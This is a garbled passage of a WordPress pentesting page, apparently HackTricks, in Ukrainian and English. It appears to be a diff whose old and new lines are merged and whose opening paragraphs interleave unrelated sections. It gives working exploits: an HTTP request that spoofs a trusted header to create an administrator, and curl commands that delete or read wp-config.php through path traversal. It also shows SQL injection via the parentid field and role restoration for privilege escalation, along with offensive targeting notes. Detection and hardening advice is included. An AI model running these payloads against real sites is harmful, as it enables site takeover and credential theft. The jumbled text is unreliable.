Теми та плагіни WordPress часто відкривають AJAX обробники через хуки `wp_ajax_` та `wp_ajax_nopriv_`. Коли використовується варіант **_nopriv_**, **зворотний виклик стає доступним для неавтентифікованих відвідувачів**, тому будь-яка чутлива дія повинна додатково реалізовувати: Деякі плагіни реалізують «trusted header» скорочення для внутрішніх інтеграцій або reverse proxies і потім використовують цей заголовок для встановлення контексту поточного користувача для REST-запитів. Якщо заголовок не криптографічно пов'язаний із запитом upstream-компонентом, нападник може spoof його і звернутися до привілейованих REST-маршрутів як адміністратор.
1. **перевірку можливостей** (наприклад, `current_user_can()` або принаймні `is_user_logged_in()`), і - Impact: неавторизоване підвищення привілеїв до адміністратора шляхом створення нового адміністратора через core users REST route.
2. **CSRF nonce**, перевірений за допомогою `check_ajax_referer()` / `wp_verify_nonce()`, і - Example header: `X-Wcpay-Platform-Checkout-User: 1` (примушує user ID 1, зазвичай перший обліковий запис адміністратора).
3. **Сувору санітизацію / валідацію введення**. - Exploited route: `POST /wp-json/wp/v2/users` з масивом ролей з підвищеними правами.
Тема Litho (мультифункціональна) (< 3.1) забула ці 3 контролі в функції *Видалити сімейство шрифтів* і в результаті відправила наступний код (спрощений): PoC
```http
POST /wp-json/wp/v2/users HTTP/1.1
Host: <WP HOST>
User-Agent: Mozilla/5.0
Accept: application/json
Content-Type: application/json
X-Wcpay-Platform-Checkout-User: 1
Content-Length: 114
{"username": "honeypot", "email": "wafdemo@patch.stack", "password": "demo", "roles": ["administrator"]}
```
Чому це працює
- Плагін відображає заголовок, контрольований клієнтом, у стан автентифікації і пропускає перевірки прав.
- Ядро WordPress очікує наявність `create_users` capability для цього маршруту; хак плагіну обходить це, безпосередньо встановлюючи поточний контекст користувача з заголовка.
Очікувані індикатори успіху
- HTTP 201 з JSON-тiлом, що описує створеного користувача.
- Новий адмін-користувач, видимий у `wp-admin/users.php`.
Контрольний список для виявлення
- Шукати `getallheaders()`, `$_SERVER['HTTP_...']` або vendor SDKs, які читають кастомні заголовки для встановлення контексту користувача (наприклад, `wp_set_current_user()`, `wp_set_auth_cookie()`).
- Переглянути реєстрації REST на предмет привілейованих callback-ів, які позбавлені надійних перевірок `permission_callback` і натомість покладаються на заголовки запиту.
- Шукати використання функцій керування користувачами ядра (`wp_insert_user`, `wp_create_user`) всередині REST-обробників, доступ до яких обмежений лише значеннями заголовків.
Зміцнення безпеки
- Ніколи не виводьте автентифікацію або авторизацію з заголовків, контрольованих клієнтом.
- Якщо reverse proxy має інжектити ідентичність, завершіть довіру на проксі і видаляйте вхідні копії (наприклад, `unset X-Wcpay-Platform-Checkout-User` на краю), потім передавайте підписаний токен і перевіряйте його на сервері.
- Для REST-маршрутів, що виконують привілейовані дії, вимагайте перевірок `current_user_can()` та жорсткого `permission_callback` (не використовуйте `__return_true`).
- Віддавайте перевагу першопартійній автентифікації (cookies, application passwords, OAuth) замість «імітації» через заголовки.
Посилання: див. посилання в кінці цієї сторінки для публічного випадку та ширшого аналізу.
### Неавтентифіковане довільне видалення файлів через wp_ajax_nopriv (Litho Theme <= 3.0)
WordPress themes and plugins frequently expose AJAX handlers through the `wp_ajax_` and `wp_ajax_nopriv_` hooks. When the **_nopriv_** variant is used **the callback becomes reachable by unauthenticated visitors**, so any sensitive action must additionally implement:
1. A **capability check** (e.g. `current_user_can()` or at least `is_user_logged_in()`), and
2. A **CSRF nonce** validated with `check_ajax_referer()` / `wp_verify_nonce()`, and
3. **Strict input sanitisation / validation**.
The Litho multipurpose theme (< 3.1) forgot those 3 controls in the *Remove Font Family* feature and ended up shipping the following code (simplified):
```php ```php
function litho_remove_font_family_action_data() { function litho_remove_font_family_action_data() {
if ( empty( $_POST['fontfamily'] ) ) { if ( empty( $_POST['fontfamily'] ) ) {
@ -396,31 +443,31 @@ die();
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' ); add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' ); add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
``` ```
Проблеми, які виникають через цей фрагмент: Проблеми, які викликає цей фрагмент:
* **Неавтентифікований доступ** хук `wp_ajax_nopriv_` зареєстровано. * **Доступ без автентифікації** the `wp_ajax_nopriv_` hook is registered.
* **Відсутня перевірка nonce / можливостей** будь-який відвідувач може звернутися до кінцевої точки. * **Відсутня перевірка nonce / capability** будь-який відвідувач може звернутися до endpoint.
* **Відсутня санітизація шляху** рядок `fontfamily`, контрольований користувачем, конкатенується до шляху файлової системи без фільтрації, що дозволяє класичний `../../` обхід. * **Відсутня санітизація шляху** рядок `fontfamily`, що контролюється користувачем, конкатенується з файловим шляхом без фільтрації, що дозволяє класичний `../../` traversal.
#### Експлуатація #### Експлуатація
Зловмисник може видалити будь-який файл або директорію **нижче базового каталогу завантажень** (зазвичай `<wp-root>/wp-content/uploads/`), надіславши один HTTP POST запит: Нападник може видалити будь-який файл або директорію **нижче базової директорії uploads** (зазвичай `<wp-root>/wp-content/uploads/`) відправивши один HTTP POST-запит:
```bash ```bash
curl -X POST https://victim.com/wp-admin/admin-ajax.php \ curl -X POST https://victim.com/wp-admin/admin-ajax.php \
-d 'action=litho_remove_font_family_action_data' \ -d 'action=litho_remove_font_family_action_data' \
-d 'fontfamily=../../../../wp-config.php' -d 'fontfamily=../../../../wp-config.php'
``` ```
Оскільки `wp-config.php` знаходиться поза *uploads*, чотири послідовності `../` достатні для стандартної установки. Видалення `wp-config.php` змушує WordPress перейти до *майстра установки* під час наступного відвідування, що дозволяє повністю захопити сайт (зловмисник просто надає нову конфігурацію БД і створює адміністратора). Оскільки `wp-config.php` знаходиться поза директорією *uploads*, чотири послідовності `../` достатні для стандартної інсталяції. Видалення `wp-config.php` примушує WordPress при наступному відвідуванні перейти в *майстер встановлення*, що дозволяє повний site take-over (зловмисник лише надає нову DB конфігурацію та створює admin-користувача).
Інші важливі цілі включають файли плагінів/тем `.php` (для зламу плагінів безпеки) або правила `.htaccess`. Інші впливові цілі включають plugin/theme `.php` файли (щоб зламати security plugins) або правила `.htaccess`.
#### Перелік для виявлення #### Контрольний список виявлення
* Будь-який `add_action( 'wp_ajax_nopriv_...')` зворотний виклик, який викликає допоміжні функції файлової системи (`copy()`, `unlink()`, `$wp_filesystem->delete()`, тощо). * Будь-який callback `add_action( 'wp_ajax_nopriv_...')`, який викликає filesystem helpers (`copy()`, `unlink()`, `$wp_filesystem->delete()`, тощо).
* Конкатенація неочищеного вводу користувача в шляхи (шукайте `$_POST`, `$_GET`, `$_REQUEST`). * Конкатенація несанітизованого введення користувача в шляхи (шукайте `$_POST`, `$_GET`, `$_REQUEST`).
* Відсутність `check_ajax_referer()` та `current_user_can()`/`is_user_logged_in()`. * Відсутність `check_ajax_referer()` та `current_user_can()`/`is_user_logged_in()`.
#### Посилення #### Підсилення захисту
```php ```php
function secure_remove_font_family() { function secure_remove_font_family() {
if ( ! is_user_logged_in() ) { if ( ! is_user_logged_in() ) {
@ -440,16 +487,16 @@ add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_
// 🔒 NO wp_ajax_nopriv_ registration // 🔒 NO wp_ajax_nopriv_ registration
``` ```
> [!TIP] > [!TIP]
> **Завжди** розглядайте будь-яку операцію запису/видалення на диску як привілейовану та двічі перевіряйте: > **Завжди** вважайте будь-яку операцію запису/видалення на диску привілейованою і перевіряйте:
> • Аутентифікація • Авторизація • Нонсе • Санітизація введення • Обмеження шляху (наприклад, через `realpath()` плюс `str_starts_with()`). > • Authentication • Authorisation • Nonce • Input sanitisation • Path containment (e.g. via `realpath()` plus `str_starts_with()`).
--- ---
### Підвищення привілеїв через відновлення застарілої ролі та відсутню авторизацію (ASE "Перегляд адміністратора як ролі") ### Privilege escalation via stale role restoration and missing authorization (ASE "View Admin as Role")
Багато плагінів реалізують функцію "перегляд як роль" або тимчасового перемикання ролей, зберігаючи оригінальну роль(і) в метаданих користувача, щоб їх можна було відновити пізніше. Якщо шлях відновлення покладається лише на параметри запиту (наприклад, `$_REQUEST['reset-for']`) та список, що підтримується плагіном, без перевірки можливостей та дійсного нонсу, це призводить до вертикального підвищення привілеїв. Багато плагінів реалізують "view as role" або тимчасову зміну ролі, зберігаючи оригінальні ролі в user meta, щоб пізніше їх відновити. Якщо шлях відновлення покладається тільки на параметри запиту (наприклад, `$_REQUEST['reset-for']`) і список, що підтримується плагіном, без перевірки capabilities і дійсного nonce, це перетворюється на vertical privilege escalation.
Приклад з реального світу був знайдений у плагіні Admin and Site Enhancements (ASE) (≤ 7.6.2.1). Гілка скидання відновлювала ролі на основі `reset-for=<username>`, якщо ім'я користувача з'являлося в внутрішньому масиві `$options['viewing_admin_as_role_are']`, але не виконувала перевірку `current_user_can()` або перевірку нонсу перед видаленням поточних ролей і повторним додаванням збережених ролей з метаданих користувача `_asenha_view_admin_as_original_roles`: Реальний приклад було виявлено в Admin and Site Enhancements (ASE) plugin (≤ 7.6.2.1). Гілка reset відновлювала ролі на основі `reset-for=<username>`, якщо ім'я користувача з'являлося у внутрішньому масиві `$options['viewing_admin_as_role_are']`, але не виконувала ні перевірки `current_user_can()`, ні перевірки nonce перед видаленням поточних ролей та повторним додаванням збережених ролей з user meta `_asenha_view_admin_as_original_roles`:
```php ```php
// Simplified vulnerable pattern // Simplified vulnerable pattern
if ( isset( $_REQUEST['reset-for'] ) ) { if ( isset( $_REQUEST['reset-for'] ) ) {
@ -464,19 +511,19 @@ foreach ( $orig as $r ) { $u->add_role( $r ); }
} }
} }
``` ```
Чому це вразливо Why it's exploitable
- Довіряє `$_REQUEST['reset-for']` та опції плагіна без авторизації на стороні сервера. - Довіряє `$_REQUEST['reset-for']` та опції плагіна без серверної авторизації.
- Якщо користувач раніше мав вищі привілеї, збережені в `_asenha_view_admin_as_original_roles`, і був понижений, він може відновити їх, натиснувши на шлях скидання. - Якщо користувач раніше мав вищі привілеї, збережені в `_asenha_view_admin_as_original_roles`, і їх понизили, він може відновити їх, звернувшись до шляху скидання.
- У деяких розгортаннях будь-який автентифікований користувач міг би ініціювати скидання для іншого імені користувача, яке все ще присутнє в `viewing_admin_as_role_are` (порушена авторизація). - У деяких розгортаннях будь-який authenticated user міг ініціювати скидання для іншого імені користувача, що все ще присутнє в `viewing_admin_as_role_are` (помилка авторизації).
Передумови атаки Attack prerequisites
- Вразлива версія плагіна з увімкненою функцією. - Уразлива версія плагіна з увімкненою функцією.
- Цільовий обліковий запис має застарілу роль з високими привілеями, збережену в метаданих користувача з попереднього використання. - Цільовий обліковий запис має застарілу роль з високими привілеями, збережену в user meta від попереднього використання.
- Будь-яка автентифікована сесія; відсутній nonce/можливість у процесі скидання. - Будь-яка authenticated session; відсутній nonce/capability у процесі скидання.
Експлуатація (приклад) Exploitation (example)
```bash ```bash
# While logged in as the downgraded user (or any auth user able to trigger the code path), # While logged in as the downgraded user (or any auth user able to trigger the code path),
# hit any route that executes the role-switcher logic and include the reset parameter. # hit any route that executes the role-switcher logic and include the reset parameter.
@ -484,36 +531,51 @@ foreach ( $orig as $r ) { $u->add_role( $r ); }
curl -s -k -b 'wordpress_logged_in=...' \ curl -s -k -b 'wordpress_logged_in=...' \
'https://victim.example/wp-admin/?reset-for=<your_username>' 'https://victim.example/wp-admin/?reset-for=<your_username>'
``` ```
На вразливих збірках це видаляє поточні ролі та повторно додає збережені оригінальні ролі (наприклад, `administrator`), ефективно підвищуючи привілеї. На вразливих збірках це видаляє поточні ролі й заново додає збережені оригінальні ролі (наприклад, `administrator`), фактично підвищуючи привілеї.
Список перевірки виявлення Detection checklist
- Шукайте функції перемикання ролей, які зберігають “оригінальні ролі” в метаданих користувача (наприклад, `_asenha_view_admin_as_original_roles`). - Шукайте функції перемикання ролей, які зберігають “оригінальні ролі” у user meta (наприклад, `_asenha_view_admin_as_original_roles`).
- Визначте шляхи скидання/відновлення, які: - Визначте шляхи скидання/відновлення, які:
- Читають імена користувачів з `$_REQUEST` / `$_GET` / `$_POST`. - Читають імена користувачів із `$_REQUEST` / `$_GET` / `$_POST`.
- Модифікують ролі через `add_role()` / `remove_role()` без `current_user_can()` та `wp_verify_nonce()` / `check_admin_referer()`. - Модифікують ролі через `add_role()` / `remove_role()` без `current_user_can()` і `wp_verify_nonce()` / `check_admin_referer()`.
- Авторизують на основі масиву параметрів плагіна (наприклад, `viewing_admin_as_role_are`) замість можливостей актора. - Авторизують на основі масиву опцій плагіна (наприклад, `viewing_admin_as_role_are`) замість повноважень актора.
Ускладнення Hardening
- Застосовуйте перевірки можливостей на кожному гілці, що змінює стан (наприклад, `current_user_can('manage_options')` або більш суворо). - Забезпечте перевірку повноважень на кожній гілці, що змінює стан (наприклад, `current_user_can('manage_options')` або суворіше).
- Вимагайте нонси для всіх мутацій ролей/дозволів та перевіряйте їх: `check_admin_referer()` / `wp_verify_nonce()`. - Вимагайте nonces для всіх змін ролей/дозволів і перевіряйте їх: `check_admin_referer()` / `wp_verify_nonce()`.
- Ніколи не довіряйте іменам користувачів, наданим запитом; визначайте цільового користувача на стороні сервера на основі автентифікованого актора та явної політики. - Ніколи не довіряйте іменам користувачів, наданим у запиті; визначайте цільового користувача на сервері на основі автентифікованого актора та явної політики.
- Скасовуйте стан “оригінальних ролей” при оновленнях профілю/ролі, щоб уникнути застарілого відновлення високих привілеїв: - Інвалідуйте “оригінальні ролі” при оновленнях профілю/ролей, щоб уникнути відновлення застарілих високих привілеїв:
```php ```php
add_action( 'profile_update', function( $user_id ) { add_action( 'profile_update', function( $user_id ) {
delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' ); delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' );
}, 10, 1 ); }, 10, 1 );
``` ```
- Розгляньте можливість зберігання мінімального стану та використання токенів з обмеженим часом дії та захистом можливостей для тимчасових перемикань ролей. - Розгляньте зберігання мінімального стану та використання тимчасових токенів з обмеженим часом дії і capability-guarded tokens для тимчасових переключень ролей.
--- ---
## Захист WordPress ### WAF considerations for WordPress/plugin CVEs
### Регулярні оновлення Generic edge/server WAFs are tuned for broad patterns (SQLi, XSS, LFI). Many highimpact WordPress/plugin flaws are application-specific logic/auth bugs that look like benign traffic unless the engine understands WordPress routes and plugin semantics.
Переконайтеся, що WordPress, плагіни та теми оновлені. Також підтверджуйте, що автоматичне оновлення увімкнене у wp-config.php: Offensive notes
- Target plugin-specific endpoints with clean payloads: `admin-ajax.php?action=...`, `wp-json/<namespace>/<route>`, custom file handlers, shortcodes.
- Exercise unauth paths first (AJAX `nopriv`, REST with permissive `permission_callback`, public shortcodes). Default payloads often succeed without obfuscation.
- Typical high-impact cases: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect.
Defensive notes
- Dont rely on generic WAF signatures to protect plugin CVEs. Implement application-layer, vulnerability-specific virtual patches or update quickly.
- Prefer positive-security checks in code (capabilities, nonces, strict input validation) over negative regex filters.
## WordPress Protection
### Regular Updates
Make sure WordPress, plugins, and themes are up to date. Also confirm that automated updating is enabled in wp-config.php:
```bash ```bash
define( 'WP_AUTO_UPDATE_CORE', true ); define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' ); add_filter( 'auto_update_plugin', '__return_true' );
@ -529,15 +591,16 @@ add_filter( 'auto_update_theme', '__return_true' );
### **Інші рекомендації** ### **Інші рекомендації**
- Видаліть стандартного **admin** користувача - Видаліть стандартного користувача **admin**
- Використовуйте **сильні паролі** та **2FA** - Використовуйте **надійні паролі** та **2FA**
- Періодично **переглядайте** права **доступу** користувачів - Періодично **переглядайте** **права** користувачів
- **Обмежте спроби входу** для запобігання атакам Brute Force - **Обмежте кількість спроб входу**, щоб запобігти атакам Brute Force
- Перейменуйте файл **`wp-admin.php`** і дозволяйте доступ лише внутрішньо або з певних IP-адрес. - Перейменуйте файл **`wp-admin.php`** і дозволяйте доступ лише локально або з певних IP-адрес.
### Неавтентифікований SQL-ін'єкція через недостатню валідацію (WP Job Portal <= 2.3.2)
Плагін рекрутингу WP Job Portal відкрив задачу **savecategory**, яка в кінцевому підсумку виконує наступний вразливий код всередині `modules/category/model.php::validateFormData()`: ### Неавторизований SQL Injection через недостатню валідацію (WP Job Portal <= 2.3.2)
Плагін рекрутингу WP Job Portal відкрив завдання **savecategory**, яке врешті-решт виконує наступний вразливий код у `modules/category/model.php::validateFormData()`:
```php ```php
$category = WPJOBPORTALrequest::getVar('parentid'); $category = WPJOBPORTALrequest::getVar('parentid');
$inquery = ' '; $inquery = ' ';
@ -547,19 +610,19 @@ $inquery .= " WHERE parentid = $category "; // <-- direct concat ✗
$query = "SELECT max(ordering)+1 AS maxordering FROM " $query = "SELECT max(ordering)+1 AS maxordering FROM "
. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later . wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later
``` ```
Проблеми, які виникають через цей фрагмент: Проблеми, викликані цим фрагментом:
1. **Несанітизований ввід користувача** `parentid` надходить безпосередньо з HTTP-запиту. 1. **Ввід користувача без санітизації** `parentid` надходить безпосередньо з HTTP-запиту.
2. **Конкатенація рядків у WHERE-клаузі** немає `is_numeric()` / `esc_sql()` / підготовленого запиту. 2. **Конкатенація рядків у WHERE-клаузі** відсутні `is_numeric()` / `esc_sql()` / prepared statement.
3. **Несанкціонована досяжність** хоча дія виконується через `admin-post.php`, єдиною перевіркою є **CSRF nonce** (`wp_verify_nonce()`), який будь-який відвідувач може отримати з публічної сторінки, що вбудовує шорткод `[wpjobportal_my_resumes]`. 3. **Доступ без автентифікації** хоча дія виконується через `admin-post.php`, єдина перевірка — **CSRF nonce** (`wp_verify_nonce()`), який будь-який відвідувач може отримати зі сторінки, що вбудовує шорткод `[wpjobportal_my_resumes]`.
#### Експлуатація #### Експлуатація
1. Отримайте новий nonce: 1. Отримайте свіжий nonce:
```bash ```bash
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4 curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
``` ```
2. Впровадьте довільний SQL, зловживаючи `parentid`: 2. Ін'єкція довільного SQL, зловживаючи `parentid`:
```bash ```bash
curl -X POST https://victim.com/wp-admin/admin-post.php \ curl -X POST https://victim.com/wp-admin/admin-post.php \
-d 'task=savecategory' \ -d 'task=savecategory' \
@ -567,20 +630,20 @@ curl -X POST https://victim.com/wp-admin/admin-post.php \
-d 'parentid=0 OR 1=1-- -' \ -d 'parentid=0 OR 1=1-- -' \
-d 'cat_title=pwn' -d 'id=' -d 'cat_title=pwn' -d 'id='
``` ```
Відповідь розкриває результат впровадженого запиту або змінює базу даних, що підтверджує SQLi. Відповідь розкриває результат ін'єкції або змінює базу даних, що підтверджує SQLi.
### Несанкціоноване завантаження довільних файлів / Перехід по шляху (WP Job Portal <= 2.3.2) ### Неавтентифікований Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2)
Інше завдання, **downloadcustomfile**, дозволяло відвідувачам завантажувати **будь-який файл на диску** через перехід по шляху. Вразливий приймач розташований у `modules/customfield/model.php::downloadCustomUploadedFile()`: Ще одне завдання, **downloadcustomfile**, дозволяло відвідувачам завантажувати **будь-який файл на диску** через path traversal. Вразливий sink знаходиться в `modules/customfield/model.php::downloadCustomUploadedFile()`:
```php ```php
$file = $path . '/' . $file_name; $file = $path . '/' . $file_name;
... ...
echo $wp_filesystem->get_contents($file); // raw file output echo $wp_filesystem->get_contents($file); // raw file output
``` ```
`$file_name` контролюється атакуючим і конкатенується **без санітизації**. Знову ж таки, єдиним бар'єром є **CSRF nonce**, який можна отримати зі сторінки резюме. `$file_name` контролюється атакуючим і конкатенується **без санітизації**. Знову ж, єдина перешкода — **CSRF nonce**, який можна отримати зі сторінки резюме.
#### Використання #### Експлуатація
```bash ```bash
curl -G https://victim.com/wp-admin/admin-post.php \ curl -G https://victim.com/wp-admin/admin-post.php \
--data-urlencode 'task=downloadcustomfile' \ --data-urlencode 'task=downloadcustomfile' \
@ -589,7 +652,7 @@ curl -G https://victim.com/wp-admin/admin-post.php \
--data-urlencode 'entity_id=1' \ --data-urlencode 'entity_id=1' \
--data-urlencode 'file_name=../../../wp-config.php' --data-urlencode 'file_name=../../../wp-config.php'
``` ```
Сервер відповідає вмістом `wp-config.php`, витікаючи облікові дані БД та ключі автентифікації. Сервер повертає вміст файлу `wp-config.php`, leaking DB credentials and auth keys.
## Посилання ## Посилання
@ -597,5 +660,8 @@ curl -G https://victim.com/wp-admin/admin-post.php \
- [Multiple Critical Vulnerabilities Patched in WP Job Portal Plugin](https://patchstack.com/articles/multiple-critical-vulnerabilities-patched-in-wp-job-portal-plugin/) - [Multiple Critical Vulnerabilities Patched in WP Job Portal Plugin](https://patchstack.com/articles/multiple-critical-vulnerabilities-patched-in-wp-job-portal-plugin/)
- [Rare Case of Privilege Escalation in ASE Plugin Affecting 100k+ Sites](https://patchstack.com/articles/rare-case-of-privilege-escalation-in-ase-plugin-affecting-100k-sites/) - [Rare Case of Privilege Escalation in ASE Plugin Affecting 100k+ Sites](https://patchstack.com/articles/rare-case-of-privilege-escalation-in-ase-plugin-affecting-100k-sites/)
- [ASE 7.6.3 changeset delete original roles on profile update](https://plugins.trac.wordpress.org/changeset/3211945/admin-site-enhancements/tags/7.6.3/classes/class-view-admin-as-role.php?old=3208295&old_path=admin-site-enhancements%2Ftags%2F7.6.2%2Fclasses%2Fclass-view-admin-as-role.php) - [ASE 7.6.3 changeset delete original roles on profile update](https://plugins.trac.wordpress.org/changeset/3211945/admin-site-enhancements/tags/7.6.3/classes/class-view-admin-as-role.php?old=3208295&old_path=admin-site-enhancements%2Ftags%2F7.6.2%2Fclasses%2Fclass-view-admin-as-role.php)
- [Hosting security tested: 87.8% of vulnerability exploits bypassed hosting defenses](https://patchstack.com/articles/hosting-security-tested-87-percent-of-vulnerability-exploits-bypassed-hosting-defenses/)
- [WooCommerce Payments ≤ 5.6.1 Unauth privilege escalation via trusted header (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/woocommerce-payments/vulnerability/wordpress-woocommerce-payments-plugin-5-6-1-unauthenticated-privilege-escalation-vulnerability)
- [Hackers exploiting critical WordPress WooCommerce Payments bug](https://www.bleepingcomputer.com/news/security/hackers-exploiting-critical-wordpress-woocommerce-payments-bug/)
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}